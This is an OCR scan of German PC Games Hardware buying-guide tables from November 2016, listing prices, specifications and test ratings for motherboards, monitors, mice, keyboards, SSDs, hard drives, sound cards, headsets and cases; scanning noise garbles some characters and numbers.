Asus Z79-A/USB 3.1 n.verfüg. | Z97/ATX x16*/x0* & x0*/x0*/x0* 2.0х2* ALC892 2x3.1;4/2x3.0;6x | 6 (6x4-Pin) 2,00 06/2015 | www.pcgh.de/preis/1238117 
Gigabyte G1.Sniper Z97 | n.verfüg. | Z97/ATX x16*/x0* & х1/х1/х1 - Sound Core | 0x3.1; 4/2х3.0; 6x | 4 (4х4-Ріп) 2,13 06/2015 | www.pcgh.de/preis/1107852 
Biostar Gaming Z97X n.verfüg. | Z97/ATX x16*/x0*/x0* & x1/x1/x1 2.0x2** ALC892 2х3.1; 4/2х3.0; 8х |6 (6x4-Pin) 2,30 06/2015 | www.pcgh.de/preis/1230180 
ПІТ ms 7975 SLI Krait Edition | Ca. € 110,- | Z97/ATX x16*/x0* & x1/x1/x1 20x2** ALC892 0x3.1; 4/2x3.0; 6x 5 (5x4-Pin) 2:37, 07/2015 | www.pcgh.de/preis/1153578 
Gigabyte GA-H97-D3H Са. € 100,- | Н97/АТХ x16 & х0*/х4*/х0* 20x2** ALC1150 | 0x3.1; 4/2x3.0; 6x 5 (5x4-Pin) 2,87 07/2015 | www.pcgh.de/preis/1107992 


* PCI-E-Lane-Sharing ** M2 shared mit SATA ` *** M.2 shared mit SATA und mit PCI-E-Slot(s) 
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SERVICE | Einkaufsführer 


Einkaufsführer LCDs & Eingabegeräte ee 


WELT ER PREIS-LEISTUNGS-TIPP Hëttiueg ERSPAR-TIPP 


Full HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag Leuchtkraft Paneltyp Test in 

Asus MG248Q Ca. € 313,- 24 Zo 144 Hertz 5 ms 3ms 69 bis 320 cd/m? N-Panel 1,66 06/2016 | www.pcgh.de/preis/1419189 

liyama GB2488HSU-B2 Ca. € 260,- 24 Zol 144 Hertz 5ms 12 ms 78 bis 367 cd/m? N-Panel 1,69 05/2016 www.pcgh.de/preis/1367528 «ТТЛ. 
Acer XF240H bmjdpr Ca. € 260,- 24 Zo 144 Hertz 5 ms 2ms 120 bis 370 cd/m? N-Panel 1,74 | 05/2016 | www.pcgh.de/preis/1344416 

AOC G2460PF Ca. € 250,- 24 Zo 144 Hertz 6 ms 4ms 156 bis 358 cd/m? N-Panel 1,77 | 05/2016 | www.pcgh.de/preis/1318972 (ir Tiri 
Asus VG278HV Ca. € 336,- 27 Zol 144 Hertz 5ms 9 ms 58 bis 305 cd/m? N-Panel 119 05/2016 | www.pcgh.de/preis/1336350 

Eizo Foris FS2434 Ca. € 317,- 24 Zo 60 Hertz 5 ms 7 ms 5 bis 239 cd/m? PS-Pane 1,92 10/2014 | www.pcgh.de/preis/1128190 

Samsung S27E591C Ca. € 320,- 27 20 75 Hertz 12 тѕ 2 ms 40 bis 355 cd/m2 MVA-Panel 1,92 05/2016 | www.pcgh.de/preis/1240823 

WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag Leuchtkraft Paneltyp Test in 

Asus ROG PG279Q Ca. € 824,- 27 Zo 165 Hertz 6 ms 9 ms 50 bis 300 cd/m? PS-Pane 1:79 12/2015 | www.pcgh.de/preis/1275089 

Benq BL2710PT Ca. € 405,- 27 Zol 60 Hertz 4 ms 19 ms 65 bis 382 cd/m? AHVA-Panel 1,86 03/2014 | www.pcgh.de/preis/978482 
Asus MG279Q Ca. € 580,- 27 Zo 144 Hertz 8ms 9 тѕ 35 bis 343 cd/m2 PS-Pane 1,87 08/2015 www.pcgh.de/preis/1215454 ТҮҢ 
Benq XL2730Z Ca. € 575,- 27 Zo 144 Hertz 8ms 8ms 52 bis 353 cd/m? N-Panel 2,01 05/2015 | www.pcgh.de/preis/1223748 

Acer T272HUL bmidpcz Ca. € 550,- 27 Zol 60 Hertz 5 ms 19 тѕ 74 bis 312 cd/m2 AHVA-Panel 2,04 03/2014 | www.pcgh.de/preis/997601 

Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag Leuchtkraft Paneltyp Test in PCGH-Preisvergleich 

iyama X4071UHSU-B1 Ca. € 563,- 40 Zo 60 Hertz 6ms 25 ms 69 bis 295 cd/m? MVA-Panel 1,81 11/2016 | www.pcgh.de/preis/1362847 «Т ТЛ. 
Asus PB287Q Ca. € 400,- 28 Zol 60 Hertz 2ms 3ms 36 bis 277 cd/m? N-Panel 1,87 07/2014 www.pcgh.de/preis/1094194 «Т Т. 
Asus РВ2790 Ca. € 599,- 27 20 60 Hertz 6 тѕ 9 ms 54 bis 266 cd/m2 PS-Pane 2,04 01/2015 | www.pcgh.de/preis/1123437 

LG 27MU67-B Ca. € 439,- 2770 60 Неп? 8 ms 11 ms 72 bis 230 cd/m2 PS-Pane 2,12 09/2015 | www.pcgh.de/preis/1273811 

21:9 Preis Auflósung Refreshrate | Reaktionszeit | Inputlag Leuchtkraft Paneltyp Test in 

Asus ROG PG348Q Са. € 1.200,- | 3.440 x 1.440 | 100 Hertz 6 ms 4ms 31 bis 324 cd/m? PS-Pane 1,61 04/2016 | www.pcgh.de/preis/1276261 

LG 34UC98-W Ca. € 886,- 3.440 x 1.440 | 75 Hertz 10 ms 2 ms 70 bis 295 cd/m? PS-Pane 1,76 07/2016 | www.pcgh.de/preis/1395258 

Samsung S34E790C Ca. € 735,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel 1,76 04/2016 | www.pcgh.de/preis/1195794 

Acer Predator X34 Ca. € 1.149,- | 3.440 x 1.440 | 100 Hertz 12 ms 8 ms 19 bis 306 cd/m? PS-Pane 1,89 04/2016 | www.pcgh.de/preis/1257523 

LG 34UM67-P Ca. € 403,- 2.560 х 1.080 | 60 Hertz 10 ms 11 ms 52 bis 320 cd/m? PS-Pane 2,05 05/2015 | www.pcgh.de/preis/1218026 


Modell Preis Kabellánge | Tasten Abtastung Auflósung | Gewicht Ergonomie Test in 

Roccat Nyth Ca. € 100,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 12.000 Dpi | 130 Gramm Sehr gu 1,16 11/2015 | www.pcgh.de/preis/1300527 

Roccat Tyon Ca. € 70,- 180 cm 16 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 126 Gramm Sehr gu 1,32 12/2014 | www.pcgh.de/preis/1154844 

Logitech G900 Chaos Spectrum | Ca. € 135,- | Schnurlos 10 + Scrollrad | Optisch (LED) | 12.000 Dpi | 107 Gramm Sehr gu 1,33 | 07/2016 | www.pcgh.de/preis/1414931 

Asus ROG Spatha Ca. € 170,- | Schnurlos 11 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 133 Gramm Sehr gu 1,36 10/2016 | www.pcgh.de/preis/1241345 

Razer Mamba Tournament Edition | Ca. €80,- | 210 cm 6 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 133 Gramm Sehr gut 1,39 01/2016 | www.pcgh.de/preis/1310517 

Logitech G502 Proteus Core Са. Є 75,- | 180 ст 9 + Scrollrad | Optisch (Laser) | 12.000 Dpi | 128 bis 146 Gramm Sehr gu 1,42 | 07/2014 | www.pcgh.de/preis/1098847 

Mionix Naos 8200 Са. € 75,- | 200 ст 6 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 105 Gramm Sehr gu 1,43 12/2014 | www.pcgh.de/preis/900404 
Steelseries Sensei MLG Edition | №. verfügb. | 200 cm 7 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 105 Gramm Sehr gut 1,43 12/2012 | www.pcgh.de/preis/871876 

Roccat Kone XTD Ca.€75- | 180 ст 7 +Scrollrad | Optisch (Laser) | 8.200 Dpi | 120 bis 140 Gramm Sehr gu 1,43 12/2012 | www.pcgh.de/preis/841868 

Razer Ouroboros Са. € 120,- | Schnurlos |8 + Scrollrad | Laser und LED | 8.200 Dpi | 117/147 Gramm mit Akku | Sehr gu 1,43 | 07/2013 | www.pcgh.de/preis/815637 

Rapoo Vpro VR900 Са. Є 35,- | 180 ст 7 + Scrollrad | Optisch (Laser) 8.200 Dpi | 115 Gramm Sehr gu 1,46 12/2014 | www.pcgh.de/preis/3939231 [PY нїїїшһге 4 
Mad Catz R.A.T. Tournament Ed. | Са. Є 70,- | 180 cm 9 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 91 Gramm Sehr gut 1,46 07/2014 | www.pcgh.de/preis/1063444 


Tastaturen 
Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher Test in PCGH-Preisvergleich 


Roccat Isku N. verfügb. | Voll, 6 Helligkeitsstufen | - Ja (integriert) 15 + 3 Daumenta. alja (k. A.) 1,42 11/2011 | www.pcgh.de/preis/648485 

Asus Cerberus Ca.€50,- | Voll, zweif Farben - Ja (integriert) 6 a/ja (k. A.) 1,86 10/2016 www.pcgh.de/preis/1338736 «ТҮҢ 
Sharkoon Skiller Pro+ Ca.€35,- | Voll, sieben Farben - Ja (integriert) 9 + 3 Profilwahlta. а/ја (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 

t esports Challenger Prime Са. €30,- | Voll, drei Farben - Ja (integriert) 12 + Drehregler а/а (k. A.) 1,98 10/2016 | www.pcgh.de/preis/1183433 «ды 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher Test in PCGH-Preisvergleich 

Roccat Ryos MK FX Ca. € 180,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | МХ Black/Red/Blue | Ja/ja (2 MByte) 1,26 | 06/2016 | www.pcgh.de/preis/1388126 

Roccat Ryos MK Pro Ca. € 150,- | Voll, 6 Helligkeitsstufen | 2 x USB 2.0, Audio | Cherry MX Brown | MX Black/Red/Blue | Ja/ja (2 MByte) 1,36 | 12/2014 | www.pcgh.de/preis/996208 

Logitech G910 Orion Spark Ca. € 200,- | RGB-Einzeltastenbel. Keine Romer G (taktil) Nur ein Modell a/ja (k. A.) 1,39 03/2016 | www.pcgh.de/preis/1167372 

Sharkoon Shark Zone MK 80 RGB | Ca. € 130,- | RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Brown Kailh RGB Brown/Red | Ja/ja (k. A.) 1,40 01/2013 www.pcgh.de/preis/1369386 «ТҮҢ 
Gigabyte Aivia Osmium Ca. € 145,- | Ja, Scrollrad, stufenlos | 1 x USB 3.0, Audio | Cherry MX Red MX Brown alja (k. A.) 1,43 03/2016 | www.pcgh.de/preis/818661 

Corsair Strafe RGB MX Silent Ca. € 180,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 

Qpad MK 90 Ca. € 120,- | RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black a/ja (k. A.) 1,45 11/2015 | www.pcgh.de/preis/1258778 

Razer Black Widow Chroma Ca. € 160,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Razer Green (taktil) | Razer Orange alja (k. A.) 1,46 12/2014 | www.pcgh.de/preis/1154331 

Tt esports Poseidon Z RGB Ca. € 105,- | RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB alja (512 kbytel) 1,47 10/2016 www.pcgh.de/preis/1462098 ТТ 
Corsair K70 RGB Rapid Fire Ca. € 180,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Ch. MX Speed RGB | Cherry MX Speed RGB | Ja/ja (ein Profil) 1,49 | 06/2016 | www.pcgh.de/preis/1431774 

G.Skill Ripjaws KM780 RGB Ca. € 130,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX RGB Br. | MX RGB Brown/Red | Ja/ja (512 kbyte) 1,52 03/2016 | www.pcgh.de/preis/1332861 
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Einkaufsführer | SERVICE 


Einkaufsführer SSDs & Festplatten 


Preise: Stand 24.11.2016 


Hëttueg ERSPAR-TIPP 


(ШШ f: PREIS-LEISTUNGS-TIPP. 


Solid State Drives (SATA 111/2,5 Zoll) 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Samsung SSD 850 Evo Ca. € 95,- 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 08/2015 | www.pcgh.de/preis/1194261 
Plextor M6 Pro Са. € 135,- | 238 GiB/256 GB 513/471 MB/s 88.000 81 Sekunden | 5 Jahre 2,02 08/2015 | www.pcgh.de/preis/1150916 
Adata SX 930 Ca. € 93,- 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 12/2015 | www.pcgh.de/preis/1299666 
Ir E Crucial MX200 Ca. € 84,- 233 GiB/250 GB 521/475 MB/s 77.000 76 Sekunden | 3 Jahre 2,08 08/2015 | www.pcgh.de/preis/1215088 
Sandisk Extreme Pro Са. € 170,- | 224 GiB/240 GB 526/495 MB/s 44.000 92 Sekunden 10 Jahre 2,08 07/2016 | www.pcgh.de/preis/1126455 
Kingston HyperX Sav. SSD Kit | Са. € 118,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
OCZ Vector 180 Ca.€110,- | 224 GiB/240 GB 509/489 MB/s 85.000 90 Sekunden | 5 Jahre 2712 08/2015 | www.pcgh.de/preis/1230956 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Tru TE Samsung SSD 850 Evo Ca.€165,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba Q300 Pro Ca.€211, | 477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Crucial MX200 Са. € 145,- | 466 GiB/500 GB 519/475 MB/s 88.000 77 Sekunden | 3 Jahre 1,98 08/2015 | www.pcgh.de/preis/1215110 
Sandisk Extreme Pro Са. € 205,- | 447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden 10 Jahre 2,07 07/2016 | www.pcgh.de/preis/1126463 
ШТУ Mushkin Striker Са. € 118,- | 447 GiB/480 GB 529/509 MB/s 49.000 82 Sekunden | 3 Jahre 2,07 | 07/2016 | www.pcgh.de/preis/1388029 
OCZ Vector 180 Са. € 199,- | 447 GiB/480 GB 513/483 MB/s 91.000 90 Sekunden | 5 Jahre 2,14 08/2015 | www.pcgh.de/preis/1230954 
Sandisk Ultra Il Са. € 129,- | 447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 | 07/2016 | www.pcgh.de/preis/1154832 
Crucial BX100 Са. € 160,- | 466 GiB/500 GB 526/435 MB/s 72.000 75 Sekunden | 3 Jahre 2,26 08/2015 | www.pcgh.de/preis/1215184 
INEU Western Digital WD Blue SSD | Ca. € 145,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 online | www.pcgh.de/preis/1521437 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie | Т PCGH-Preisvergleich 
Samsung SSD 850 Pro Ca.€417,- | 954 GiB/1.024 GB | 528/502 MB/s 90.000 73 Sekunden 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1500,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 1,79 11/2016 | www.pcgh.de/preis/1427527 
Samsung SSD 850 Evo Са. € 329,- | 932 GiB/1.000 GB 521/503 MB/s 90.000 73 Sekunden | 5 Jahre 1,88 08/2015 | www.pcgh.de/preis/1194264 
Crucial MX200 Са. € 323,- | 932 GiB/1.000 GB 516/480 MB/s 88.000 76 Sekunden | З Jahre 1,9% 08/2015 | www.pcgh.de/preis/1215111 
Mushkin Reactor Са. € 285,- | 932 GiB/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Ca. € 503,- 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
OCZ Vector 180 Ca.€366,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2/15 08/2015 | www.pcgh.de/preis/1230950 
Corsair Neutron XT Ca. € 489,- | 894 GiB/960 GB 527/484 MB/s 49.000 94 Sekunden | 5 Jahre 2,14 | 07/2016 | www.pcgh.de/preis/1214437 
Crucial BX100 Са. € 230,- | 932 GiB/1.000 GB 528/434 MB/s 70.000 76 Sekunden | 3 Jahre 2,24 08/2015 | www.pcgh.de/preis/1215186 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 
Solid State Drives (M.2/PCle 3.0 x4) 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
TT tp Toshiba 0С7 RD400 Са. € 280,- | 477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 1/2016 | www.pcgh.de/preis/1448318 
Samsung SSD 950 Pro Ca. € 350,- | 477 GiB/512 GB 2.212/1.475 MB/s 81.000 36 Sekunden | 5 Jahre 1,93 2/2015 | www.pcgh.de/preis/1327973 
Zotac Sonix Са. € 340,- | 2.250/1.330 MB/s | 477 GiB/512 GB 95.000 56 Sekunden | 3 Jahre 2,04 1/2016 | www.pcgh,de/preis/1406123 
Samsung SSD 950 Pro Са. € 184,- | 238 GiB/256 GB 2.098/917 MB/s 73.000 45 Sekunden | 5 Jahre 2/17) 2/2015 | www.pcgh.de/preis/1327925 
Samsung $M951 Ca.€210,- | 238 GiB/256 GB 1.960/1.220 MB/s 68.000 43 Sekunden | 3 Jahre 2,25 2/2015 | www.pcgh.de/preis/1215594 
Kingston Hyper X Predator Ca.€360, | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | 3 Jahre 2,47 2/2015 | www.pcgh.de/preis/1247224 
Ir T Intel SSD 600p Са. Є 160,- 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden | 5 Jahre 2,83 online | www.pcgh.de/preis/1491162 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD [08 Kopiertest Herstellergarantie ШТ PCGH-Preisvergleich 
Samsung SSD 960 Pro Ca.€590,- | 954 GiB/1.024 GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 2/2016 | www.pcgh.de/preis/1511187 
Intel SSD 750 Са. € 780,- | 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 | 08/2015 | www.pcgh.de/preis/1227662 


* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 


Festplatten (3,5 Zoll) 


Bis 8.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Toshiba MGOAACA600E Ca. € 400,- | 5.586 GiB/6.000 GB | 7.200 | 0,8/1,4 Sone 2,0/5,0 ms 66/163 MB/s 1,71 08/2015 | www.pcgh.de/preis/493352788 
Toshiba MCO4ACA500E Ca. € 275,- | 4.548 GiB/5.000 GB | 7.200 | 0,7/1,3 Sone 2,0/13,4 ms 66/163 MB/s 1,88 08/2015 | www.pcgh.de/preis/1145736 
U Seagate Archive HDD 8TB Ca. € 250,- | 7.452 GiB/8.000 GB | 5.900 | 0,5/0,6 Sone 3,5/14,0 ms 43/136 MB/s 2,23 08/2015 | www.pcgh.de/preis/1204027 
Altes Testsystem 
Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** 
Toshiba DTO1ACA300 Са. Є 85,- | 2.794 GiB/3.000 GB | 7.200 | 0,3/0,6 Sone 5,2/15,4 ms* 54/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 
Western Digital Red WD30EFRX Ca. € 110,- | 2.794 GiB/3.000 GB | K.A. 0,2/0,3 Sone 9,9/21,0 ms* 12/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 
Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung Test in PCGH-Preisvergleich 
Western Digital Black WD4003FZEX Са. € 220,- | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,9 Sone 2,5/12,9 ms 45/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 
Hitachi Deskstar HDS724040ALE640 Ca. € 140,- | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,6 Sone 6,3/14,8 ms* 31/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 
Western Digital Red WD40EFRX Ca. € 150,- | 3.726 GiB/4.000 GB | 5.400 | 0,4/0,5 Sone 6,6/18,5 ms 19/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 
Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung Test in PCGH-Preisvergleich 
Seagate Enterprise Capacity 6TB Ca. € 325,- | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 2,5/4,3 ms* 67/167 MB/s 1,72 11/2014 | www.pcgh.de/preis/1148556 
HGST Ultrastar He6 6TB Ca. € 335,- | 5.589 GiB/6.000 GB | 7.200 | 0,1/1,6 Sone 2,6/5,8 ms 43/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 
TEE} Western Digital Red WD60EFRX Ca. € 240,- | 5.589 GiB/6.000 GB | K.A. 0,3/0,4 Sone 5,8/18 ms* 27/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 


* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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Einkaufsführer Gehäuse, Netzteile & Sound 


Preise: Stand 24.11.2016 


WELT Т PREIS-LEISTUNGS-TIPP 


[ERS fT SPAR-TIPP 


Soundkarten intern Preis Kanále/Abtastrate EE eech pair LUN E Besonderheiten u. a. Test in 

Creative Sound Blaster ZxR Са. 200,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 alja Gesockelte Op-Amps, Tischbox 1,41 05/2015 | www.pcgh.de/preis/886468 

Asus Xonar Essence STX 2 7.1 | Са. 230,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 

Asus Xonar Phoebus Ca. 135,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanále/Abtastrate EE КОШОМ: puce ei Besonderheiten u. a. Test in 

Creative Sound Blaster X7 Ca. 335,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB а, TPA6120A2 a/ja Ges.. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 

Creative Sound Blaster Omni | Ca. 65,- | Bis 5.1/24 Bit bei 96 KHz CS4361/100 dB a, MAX97220A alja Integriertes Mikrofon 2,18 | 05/2015 | www.pcgh.de/preis/1003999 «Т ТЛ. 
Asus Xonar U5 Ca. 65,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, TPS6130A2 ein/nein Mikr.-Lautstárkeregl. am Gerát 2,27 05/2015 | www.pcgh.de/preis/1150607 


Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 

Steelseries Siberia 800 Ca. 240,- | Bluetooth Geschlossen, ohrumschließend | 320 Gramm | 32 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 
Audio-Technica ATH-ADG1 | Ca. 350,- | USB, Klinke Offen, ohrumschlieBend 280 Gramm | 38 Ohm Nein USB-DAC 1,92 12/2014 | www.pcgh.de/preis/1151658 

Kingston Hyper X Cloud 2 | Ca. 80,- | USB, Klinke Geschlossen, ohrumschließend | 320 Gramm | 60 Ohm Ja, virtuell | Kabelfernbedienung, Presets 1,94 08/2015 | www.pcgh.de/preis/1223096 

Asus Strix DSP Ca. 120,- | USB, Klinke Geschlossen, ohrumschließend | 390 Gramm | 32 Ohm Ja, virtuell | Tischbox mit vielen Funktionen 1,96 05/2016 | www.pcgh.de/preis/1195357 

Corsair Void RGB Wireless | Ca. 110,- | Funk Geschlossen, ohrumschließend | 320 Gramm | 32 Ohm Ja, virtuell | Ordentliche Software 1,97 06/2016 www.pcgh.de/preis/1307022 ТТ 
Sennheiser G4me One Ca. 190,- | Klinke Halboffen, ohrumschließend 270 Gramm | 50 Ohm Nein Mikrofon-/Lautstärkeregler integriert 2,18 | 04/2014 | www.pcgh.de/preis/1042573 

Bitfenix Flo Ca. 50,- | Klinke Geschlossen, ohraufliegend 200 Gramm | 68 Ohm Nein Kabel und Mikrofon abnehmbar 2,32 08/2014 www.pcgh.de/preis/1059580 ТҮҢ 
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Format " 
Midi-Gehäuse (Herstelle- | Preis Lüfterplätze Enthaltene Lüfter Go р We y Temper tn VALTICE Test in PCGH-Preisvergleich 
rangabe) 

Be Quiet Dark Base 900 Pro | Midi-Tower | Ca. € 205,- | 9x 140, 2 x 120 mm 3x 140 mm 1,7/1,8; 1,6/1,7 Sone | 70/68/34 °C** 1,24 09/2016 | www.pcgh.de/preis/1462362 
Nanoxia Deep Silence 5 Rv B | Big-Tower | Ca. € 120,- | 4x 140/120 mm, 2 x 140 mm 3x140 mm 2,2/2,4; 1,9/2,0 Sone | 83/90/34 °C* 1,64 04/2015 www.pcgh.de/preis/1224505 «Т ТЛ 
Aerocool XPredator II Big-Tower | Ca. € 125,- | 6 x 140 mm 5x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °С** 1,70 09/2016 | www.pcgh.de/preis/1435421 
Antec P100 Midi-Tower | Са. € 80,- | 4x 140, 1x 120 mm 2x 120 mm 2,1/2,2; 0,0/0,0 Sone | 79/85/31 °C* 1771 06/2014 | www.pcgh.de/preis/1013922 
Phanteks Enthoo Luxe Big-Tower | Ca. € 155,- | 2x 200 mm, 2 x 140 mm, 4 x 120 mm | 1 x 200, 2 x 140 mm | 3,4/3,7; 2,3/2,4 Sone | 75/86/31 °C* 1571 04/2015 | www.pcgh.de/preis/1142200 
Sharkoon BW9000-W Midi-Tower | Ca. € 70,- | 4х 140 mm, 1 x 120 mm 2x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °C** 1,84 09/2016 | www. pcgh.de/preis/1354897 «ТТА 
Enermax Thormax Giant Big-Tower | Ca. € 140,- | 3 x 200 mm, 1 x 140 mm, 2 x 120 mm | 2x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °C* 1,84 04/2015 | www.pcgh.de/preis/1189301 
Anidees AI Crystal Midi-Tower | Ca. € 150,- | 6x 140 mm 4x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 
Be Quiet Silent Base 800 Midi-Tower | Ca. € 110,- | 5x 140/120 mm, 2 x 120 mm 3x 120 mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 
Corsair Carbide 600C Midi-Tower | Ca. € 135,- 4x 140 mm, 1 x 120 mm 2x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 °C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Ca. € 105,- | 3x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °С* 1,94 10/2015 | www.pcgh.de/preis/1273311 
Enermax Ostrog ADV Big-Tower | Са. € 125,- | 4x 140/1 x 120 mm 2x 140, 1 x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 *C** 1,94 09/2016 | www.pcgh.de/preis/1462226 
Fractal Design Arc XL Big-Tower | N. verfügb. | 7 x 140/120 mm 3x 140 mm 3,2/3,1; 2,2/2,4 Sone | 73/90/34 °C* 1,95 03/2016 | www.pcgh.de/preis/1037116 
Fractal Design Define R5 Midi-Tower | Ca. € 100,- | 9x 140/120 mm 2x 140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °С* 1,97 02/2015 | www.pcgh.de/preis/1200732 
Antec P380 Midi-Tower | Ca. € 120,- 4x 140 mm, 1 x 120 mm 2x 140, 1 x 120 mm | 2,9/3,2; 2,1/2,3 Sone | 74/85/35 °C 2,00 04/2015 | www.pcgh.de/preis/1211049 

* System: Core 17-920, Stromsparmodi aus, Radeon R9 290(X) @ 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 @ 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 

** System: Intel Core 17-4790; Intel 287, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Themalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (АТХ), Umgebungstemperatur: 24 °C 

